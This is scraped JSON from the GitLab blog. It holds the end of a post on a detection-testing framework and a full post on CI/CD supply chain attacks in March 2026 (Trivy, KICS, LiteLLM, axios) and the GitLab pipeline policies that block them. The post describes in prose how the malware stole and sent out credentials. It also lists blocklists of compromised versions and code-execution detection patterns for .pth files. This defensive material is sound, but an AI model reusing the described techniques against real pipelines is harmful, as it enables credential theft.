identify which detections need attention.  \n* The **Test Runs Dashboard** offers a detailed view of individual test executions, grouped by test ID with detection coverage breakdowns. It includes a timeline visualization showing alert propagation times to help us see how long it took from test execution to alert arrival and direct links to the corresponding alerts in our SIEM.\n\nThese dashboards replaced what was previously a manual process of digging through pipeline logs and SIEM queries to understand whether our detections were healthy.\n\nLike the rest of GUARD, WATCH leans heavily on GitLab as its platform:\n\n* **GitLab CI/CD Pipelines and Scheduled Pipelines** orchestrate the entire test lifecycle from weekly scheduling through execution and dashboard deployment.  \n* **Pipeline inputs** allow stages to be triggered independently, so we can re-run just the verification step or just the dashboard update without re-executing all tests.  \n* **CI/CD Variables** securely store the API keys needed for Tines and GitLab staging access.  \n* **GitLab Pages** hosts the WATCH dashboards with zero additional infrastructure, which means no separate hosting to manage, no extra deployment tooling.  \n* Because tests are just Python files in a GitLab project, they benefit from **version control, merge request reviews, and code ownership** the same way our detection rules do through DaC.\n\n## WATCH helps us stay proactive\n\nBuilding WATCH has shifted our team's relationship with detection quality from reactive to proactive. Before WATCH, a broken detection would only surface when an incident occurred and the expected alert was missing; that’s the worst possible time to discover a gap. Now, we get regular updates on the health of our detections and know when they break *before* something actually comes up. This gives peace of mind knowing that as we develop new detections, they won’t be broken and then forgotten.\n\nAnother benefit of WATCH is recording tactics, techniques, and procedures (TTPs) that were used by our red team in performing flash operations. Once we’ve implemented detections and conducted the retroactive analysis of a pentest operation, WATCH can be used to replay the TTPs used to validate these detections. In essence, WATCH makes detection atomic tests replayable TTPs.\n\n## Try WATCH\n\nIf you're running a SOC and relying on SIEM detections to catch threats, the question isn't whether your detections will break, it's whether you'll know when they do. You don't need a commercial BAS platform to start answering that question. A sandbox environment, a CI/CD pipeline, and a framework for scripting attack simulations can get you a long way.\n\nYou can try building your own detection testing framework by signing up for a [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).",[22,23,751],"features",{"featured":13,"template":14,"slug":753},"automated-detection-testing-framework",{"content":755,"config":764},{"body":756,"title":757,"description":758,"category":11,"tags":759,"authors":760,"heroImage":762,"date":763},"\n***Note: The GitLab product did not use any of the compromised package versions mentioned in this post.***\n\nIn the span of 12 days, four separate supply chain attacks revealed that continuous integration and continuous delivery (CI/CD) pipelines have become a high-value target for sophisticated threat actors.\n\nBetween March 19 and March 31, 2026, threat actors compromised:\n\n* an open-source security scanner (Trivy)\n* an infrastructure-as-code (IaC) security scanner (Checkmarx KICS)\n* an AI model gateway (LiteLLM)\n* a JavaScript HTTP client (axios)\n\nEach attack shared the same surface: the build pipeline.\nThis article shows [what happened](#trusted-by-millions-compromised-in-minutes), [why pipelines can be uniquely vulnerable](#the-patterns-behind-these-attacks), and how centralized policy enforcement with GitLab — using policies defined below — can [block, detect, and contain these classes of attack](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) before they reach production.\n\n\n## Trusted by millions, compromised in minutes\n\nHere is the timeline of the supply chain attacks:\n\n### March 19: Trivy security scanner becomes an attack vector\n\n[Trivy](https://github.com/aquasecurity/trivy) is one of the most widely used open-source vulnerability scanners in the world. It is the tool teams run *inside their pipelines* to find vulnerabilities.\n\nOn March 19, a threat actor group known as [TeamPCP used compromised credentials](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/) to force-push malicious code into 76 of 77 version tags of the `aquasecurity/trivy-action` GitHub Action and all 7 tags of `aquasecurity/setup-trivy`. Simultaneously, they published a trojanized Trivy binary (v0.69.4) to official distribution channels. The payload was credential-stealing malware that harvested environment variables, cloud tokens, SSH keys, and CI/CD secrets from every pipeline that ran a Trivy scan.\n\nThe incident was assigned [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) with a CVSS score of 9.4. The Cybersecurity and Infrastructure Security Agency (CISA) added it to the Known Exploited Vulnerabilities catalog within days.\n\n### March 23: Checkmarx KICS falls next\nUsing stolen credentials, TeamPCP pivoted to Checkmarx’s open-source KICS (Keeping Infrastructure as Code Secure) project. They compromised the `ast-github-action` and `kics-github-action` GitHub Actions, [injecting the same credential-stealing malware](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Between 12:58 and 16:50 UTC on March 23, any CI/CD pipeline referencing these actions was silently exfiltrating sensitive data, such as API keys, database passwords, cloud access tokens, SSH keys, and service account credentials.\n\n### March 24: LiteLLM compromised via stolen Trivy credentials\n\nLiteLLM, an LLM API proxy with 95 million monthly downloads, was the next target. TeamPCP [published backdoored versions](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 and 1.82.8) to PyPI using credentials harvested from LiteLLM’s own CI/CD pipeline, which used Trivy for scanning.\n\nThe malware targeting Version 1.82.7 used a base64-encoded payload injected directly into `litellm/proxy/proxy_server.py` that executed at import time. The version targeting 1.82.8 used a `.pth` file, a Python mechanism that executes automatically during interpreter startup. Simply installing LiteLLM was enough to trigger the payload. Attackers encrypted the stolen data (SSH keys, cloud tokens, .env files, cryptocurrency wallets) and exfiltrated it to `models.litellm.cloud`, a lookalike domain.\n\n### March 31: Source code for AI coding assistant leaked via simple packaging mistake\nWhile the TeamPCP campaign was still unfolding, a software company shipped an npm package containing a 59.8 MB source map file — one that referenced its AI coding assistant's complete, unminified TypeScript source code, hosted in the company's own Cloudflare R2 bucket.\n\nThe leak exposed 1,900 TypeScript files, 512,000+ lines of code, 44 hidden feature flags, unreleased model codenames, and the full system prompt for anyone who knew where to look. As engineer [Gabriel Anhaia explained](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo), “A single misconfigured .npmignore or files field in package.json can expose everything.”\n### March 31: axios and another trojan in the supply chain\nThat same day, a sophisticated campaign [targeted the axios npm package](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html), a JavaScript HTTP client with over 100 million weekly downloads.\n\nA compromised maintainer account published backdoored versions (1.14.1 and 0.30.4). It injected a malicious dependency (`plain-crypto-js@4.2.1`) that deployed a Remote Access Trojan capable of running on macOS, Windows, and Linux. Both release branches were hit within 39 minutes, with the malware designed to self-destruct after execution.\n\n## The patterns behind these attacks\n\nAcross these five incidents, three distinct attack patterns emerge, and all of them exploit the implicit trust that CI/CD pipelines place in their inputs.\n\n### Pattern 1: Poisoned tools and actions\n\nThe TeamPCP campaign exploited a fundamental assumption: that the security tools running *inside* your pipeline are themselves trustworthy. When a GitHub Action tag or a PyPI package version resolves to malicious code, the pipeline executes it with full access to environment secrets, cloud credentials, and deployment tokens. There is no verification step because the pipeline trusts the tag.\n\n**A recommended pipeline-level control:** Pin tools and actions to immutable references (commit SHAs or image digests) rather than mutable version tags. Where pinning is not practical, verify the integrity of tools and dependencies against known-good checksums or signatures. Block execution if verification fails.\n\n### Pattern 2: Packaging misconfigurations that leak IP\n\nA misconfigured build pipeline shipped debugging artifacts straight into the production package. A misconfigured `.npmignore` or files field in package.json is all it takes. A pre-publish validation step should catch this every time.\n\n**A recommended pipeline-level control:** Before any package is published, run automated checks that validate the package contents against an allowlist, flag unexpected files (source maps, internal configs, .env files), and block the publish step if the checks fail.\n\n### Pattern 3: Vulnerabilities in transitive dependencies\n\nThe axios attack targeted not just direct users of axios, but anyone whose dependency tree resolved to the compromised version. A single poisoned dependency in a lockfile can thus propagate through an entire organization’s build infrastructure.\n\n**A recommended pipeline-level control:** Compare dependency checksums against known-good lockfile state. Detect unexpected new dependencies or version changes. Block builds that introduce unverified packages.\n\n## How GitLab Pipeline Execution Policies address each attack pattern\n\nGitLab Pipeline Execution Policies ([PEPs](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) enable security and platform teams to inject mandatory CI/CD jobs into every pipeline across an organization, regardless of what a developer defines in their `.gitlab-ci.yml`. Jobs defined in PEPs cannot be skipped, even with `[skip ci]` or `[no_pipeline]` directives. Jobs can be executed in *reserved* stages (`.pipeline-policy-pre` and `.pipeline-policy-post`) that bookend the developer’s pipeline.\n\nWe have published ready-to-use pipeline execution policies for all three patterns as an open-source project: [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). These policies are independently deployable, and each one ships with violation samples that you can use to test them. Here is how each one works.\n\n### Use case 1: Prevent accidental exposure in package publishing\n\n**Problem:** A source map file ended up in the npm package of an AI coding tool after the build pipeline skipped publish-time validation.\n\n**PEP approach:** We built an open-source Pipeline Execution Policy for exactly this class of error: [Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\nThe policy injects `.pipeline-policy-pre` jobs that auto-detect the artifact type (npm package, Docker image, or Helm chart) and inspect the contents before any publish step runs. For npm packages, it performs three checks:\n\n1. **File pattern blocklist.** Scans npm pack output for source maps (.map), test directories, build configs, IDE settings, and src/ directories.\n\n2. **Package size gate.** Blocks packages exceeding 50 MB, like the 59.8 MB package that leaked the AI tool.\n\n3. **sourceMappingURL scan.** Detects external URLs (the R2 bucket pattern that exposed a major AI company’s source), inline data: URIs, and local file references embedded in JavaScript bundles.\n\nWhen violations are found, the pipeline fails with a clear report in the failed CI job logs:\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\nThe policy has no user-configurable CI variables. Developers cannot disable or bypass it. Exceptions are managed by the security team at the policy level, ensuring a deliberate process and a clean audit trail.\n\nThe repository includes a test project with intentional violations (examples/leaky-npm-package/) so you can see the policy in action before deploying it to your organization. The [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) includes a complete quick-start guide for setup and deployment.\n\n**What this catches:** Any one of these controls would likely have prevented the AI company's source code leak:\n\n* The source map file triggers the file pattern blocklist.\n* Its 59.8 MB size triggers the size gate.\n* The sourceMappingURL pointing to an external R2 bucket triggers the URL scan.\n\n### Use case 2: Detect dependency tampering and lockfile manipulation\n\n**Problem:** The axios attack introduced a malicious transitive dependency (`plain-crypto-js`) that executed a RAT on install. Anyone who ran npm install during the compromise window pulled in the trojan.\n\n**PEP approach:** The [Dependency Integrity policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injects .pipeline-policy-pre jobs that auto-detect the package ecosystem (npm or Python) and perform three checks:\n\n**For npm projects** (triggered by `package-lock.json`, `yarn.lock`, or `pnpm-lock.yaml`):\n\n1. **Lockfile integrity.** Runs `npm ci --ignore-scripts`, which fails if `node_modules` would differ from what the lockfile specifies. This catches cases where package.json was updated but the lockfile was not regenerated, and also verifies SRI integrity hashes.\n2. **Blocked package scan.** Cross-references the lockfile’s full dependency tree against `blocked-packages.yml`, a GitLab-maintained list of known-compromised package versions. The shipped blocklist includes `axios@1.14.1`, `axios@0.30.4`, and `plain-crypto-js@4.2.1`.\n3. **Undeclared dependency detection.** After install, compares the contents of node_modules against the lockfile. Any package present on disk but absent from the lockfile indicates tampering (e.g., a compromised postinstall script that fetches additional packages).\n\n**For Python projects** (triggered by `requirements.txt`, `Pipfile.lock`, `poetry.lock`, or `uv.lock`):\n\n1. **Lockfile integrity.** Installs in an isolated virtual environment and verifies that the install succeeds from the lockfile.\n2. **Blocked package scan.** Same blocklist approach. The shipped list includes `litellm==1.82.7` and `litellm==1.82.8`.\n3. **.pth file detection.** Scans site-packages for `.pth` files containing executable code patterns (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). This is the exact mechanism the LiteLLM backdoor used.\n\nWhen a violation is found:\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nThe policy runs in *strict mode*: any dependency not present in the committed lockfile blocks the pipeline. If a developer needs to add a dependency, they commit the updated lockfile. The policy verifies that the installed version matches the committed version. If something appears that was not committed (e.g., a transitive dependency injected via a compromised upstream package), the pipeline blocks.\n\n**What this catches:** The introduction of `plain-crypto-js` as a new, previously unseen dependency would be flagged by the undeclared dependency check. The `axios@1.14.1` version would be caught by the blocked package scan. The LiteLLM `.pth` file would be caught by the `.pth` detection check. Each attack has at least one, and often two, independent detection signals.\n\n### Use case 3: Detect and block compromised tools before execution\n\n**Problem:** TeamPCP replaced trusted Trivy and Checkmarx GitHub Action tags with malicious versions. Any pipeline referencing those tags executed credential-stealing malware.\n\n**PEP approach:** The [Tool Integrity policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injects a `.pipeline-policy-pre` job that queries the GitLab CI Lint API (or falls back to evaluate the `.gitlab-ci.yml`), extracts the container image references, and compares it against an approved images allowlist maintained by the security team.\n\nThe allowlist (`approved-images.yml`) supports three controls per image:\n\n**Approved repositories:** Only images from repositories on the list are permitted. An unknown repository blocks the pipeline.\n\n**Allowed tags:** Only specific tags are permitted within an approved repository. This prevents drift to untested versions.\n\n**Blocked tags:** Known-compromised versions can be explicitly blocked even if the repository is approved. The shipped allowlist blocks `aquasec/trivy:0.69.4` through `0.69.6`, the exact versions TeamPCP trojanized.\n\nWhen a violation is found, the pipeline fails before any other job runs:\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nThe allowlist is maintained via MRs against the policy project. To add a new approved image, the security team opens an MR. To respond to a new compromise, they add a blocked tag. No code changes required, just YAML.\n\n**What this catches:** When images with unapproved tags are detected, the policy compares the image repository names and tags to an allowlist. A failed match blocks the pipeline before any scanner executes, preventing credential exfiltration.\n\n*Note: By extending the sample above, PEPs can be used to force pinning to digests over tags, which is immune to force pushes. This sample demonstrates a more basic tag-based enforcement pattern.*\n\n## Beyond PEPs: GitLab’s supply chain defenses\n\nPipeline Execution Policies are the enforcement layer, but they work best as part of a broader defense-in-depth strategy. GitLab provides several capabilities that complement PEPs for supply chain protection:\n\n### Secret detection\n\n[GitLab secret detection](https://docs.gitlab.com/user/application_security/secret_detection/) prevents credentials from landing in the repository in the first place, significantly reducing what a compromised pipeline tool can harvest. In the context of the March 2026 attacks:\n\n* Credentials stored in repositories are both easier for attackers to discover and slower to rotate. The Trivy incident showed that even the rotation process can be exploited: Aqua Security's rotation was not atomic, and the attacker captured newly issued tokens before the old ones were fully revoked. GitLab Secret Detection includes automatic revocation for leaked GitLab tokens and a partner API that notifies third-party providers to revoke their credentials, accelerating response when a breach does occur.\n\n* Secret detection combined with proper secret management (short-lived tokens, vault-backed credentials, minimal pipeline secret exposure) limits what an attacker can reach even when a trusted tool turns hostile.\n\n### Dependency scanning via software composition analysis (SCA)\n\nGitLab [dependency scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) identifies known vulnerabilities in project dependencies by analyzing lockfiles and manifests. In the context of the March 2026 attacks:\n\n* For LiteLLM, the compromised versions (1.82.7, 1.82.8) are tracked in GitLab's advisory database, flagging affected Python projects automatically.\n\n* For axios, dependency scanning identifies the compromised versions (1.14.1, 0.30.4) across every project in the organization, giving security teams a single view for assessing blast radius and prioritizing credential rotation.\n\n* Similarly, all npm packages compromised by TeamPCP's CanisterWorm propagation are also flagged if used.\n\n[GitLab Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/) detects vulnerable container images used in your deployments. For the Trivy compromise, Container Scanning flags the trojanized Trivy Docker images (0.69.4 through 0.69.6) when they appear in your container registry or deployment manifests.\n\n### Merge request approval policies\n\n[Merge request approval policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) can require security team approval before changes to dependency lockfiles or CI/CD configurations are merged. This ensures a human checkpoint for the types of changes that supply chain attacks typically introduce.\n\n### Coming soon: Dependency Firewall, Artifact Registry, and SLSA Level 3 Attestation & Verification\n\nUpcoming GitLab supply chain security capabilities harden policy enforcement at two critical control points: the registry and the pipeline. The Dependency Firewall and Artifact Registry will block non-conforming packages, while SLSA Level 3 attestation will provide cryptographic proof that artifacts were produced by approved pipelines and remain unmodified. Together, they will give security teams verifiable control over what enters and exits the software supply chain.\n\n## What this means for your organization\n\nAmidst rising AI-assisted threats, attacks on CI/CD pipelines are becoming commonplace. The TeamPCP campaign shows how a single compromised credential can cascade across an ecosystem of trusted tools.\n\nIf your organization used any of the affected components, operate with the assumption that all of your pipeline secrets were exposed: rotate them immediately and audit systems for persisted backdoors. Either way, regularly rotating credentials and using short-lived tokens limits the blast radius of any future compromise.\n\nHere is what we recommend:\n\n1. **Pin dependencies to checksums, when possible.** Mutable version tags (like the ones TeamPCP hijacked) are not a security boundary. Use SHA-pinned references for all [CI/CD components](https://docs.gitlab.com/ci/components/#manage-dependencies) or actions and container images.\n\n2. **Run pre-execution integrity checks.** Use Pipeline Execution Policies to verify tool and dependency integrity *before* any pipeline job runs. This is the `.pipeline-policy-pre` stage.\n\n3. **Audit what you publish.** Every package publish step should include automated validation of the artifact contents. Source maps, environment files, and internal configuration should never leave your build environment. The [Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) project provides a ready-to-deploy starting point for npm, Docker, and Helm artifacts.\n\n4. **Detect dependency drift.** Compare dependency resolutions against committed lockfiles on every pipeline run. Monitor for unexpected new dependencies.\n\n5. **Centralize policy management.** Do not rely on developers remembering to include security checks. Enforce them at the group or instance level through policies that developers cannot remove or skip.\n\n6. **Assume your security tools are targets.** If your vulnerability scanner, static application security testing (SAST) tool, or AI gateway can be compromised, it will be. Limit each tool to its least necessary privileges and verify that it can't reach anything else.\n\n## Protect your pipelines with GitLab\n\nOver two weeks, attackers compromised production pipelines at organizations running some of the most widely adopted tools in the software development ecosystem.\n\nThe lesson is clear: Build pipelines need the same degree of centralized, policy-driven protection that we apply to networks and cloud infrastructure.\n\nGitLab Pipeline Execution Policies provide that enforcement layer. They ensure that security checks run on every pipeline, in every project regardless of individual project configurations. Combined with dependency scanning, secret detection, and merge request approval policies, they can block, detect, and contain the class of attacks we saw in March 2026.\n\nThe [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) project provides a working Pipeline Execution Policy that catches the exact class of error behind the major AI company’s leak, with coverage for npm packages, Docker images, and Helm charts. Clone it, deploy it to your group, and ensure that all of your pipelines are ready for the supply chain attacks to come.\n\nTo get started with centralized pipeline policies, sign up for a [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/).\n\n\n*This blog post contains \"forward-looking statements\" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in these statements are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to differ materially. Further information on these risks and other factors is included under the caption \"Risk Factors\" in our filings with the SEC. We do not undertake any obligation to update or revise these statements after the date of this blog post, except as required by law.*","Pipeline security lessons from March supply chain incidents","Learn how centralized pipeline policies can detect and block the patterns behind a series of recent attacks.",[22,737,738,751],[761],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-04-07",{"featured":31,"template":14,"slug":765},"pipeline-security-lessons-from-march-supply-chain-incidents",{"promotions":767},[768,782,793,804],{"id":769,"categories":770,"header":772,"text":773,"button":774,"image":779},"ai-modernization",[771],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":775,"config":776},"Get your AI maturity score",{"href":777,"dataGaName":778,"dataGaLocation":248},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":780},{"src":781},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":783,"categories":784,"header":785,"text":773,"button":786,"image":790},"devops-modernization",[737,578],"Are you just managing tools or shipping innovation?",{"text":787,"config":788},"Get your DevOps maturity score",{"href":789,"dataGaName":778,"dataGaLocation":248},"/assessments/devops-modernization-assessment/",{"config":791},{"src":792},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":794,"categories":795,"header":796,"text":773,"button":797,"image":801},"security-modernization",[22],"Are you trading speed for security?",{"text":798,"config":799},"Get your security maturity score",{"href":800,"dataGaName":778,"dataGaLocation":248},"/assessments/security-modernization-assessment/",{"config":802},{"src":803},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":805,"paths":806,"header":809,"text":810,"button":811,"image":816},"github-azure-migration",[807,808],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":812,"config":813},"See how GitLab compares to GitHub",{"href":814,"dataGaName":815,"dataGaLocation":248},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":817},{"src":792},{"header":819,"blurb":820,"button":821,"secondaryButton":826},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":822,"config":823},"Get your free trial",{"href":824,"dataGaName":47,"dataGaLocation":825},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":514,"config":827},{"href":51,"dataGaName":52,"dataGaLocation":825},1777934816220]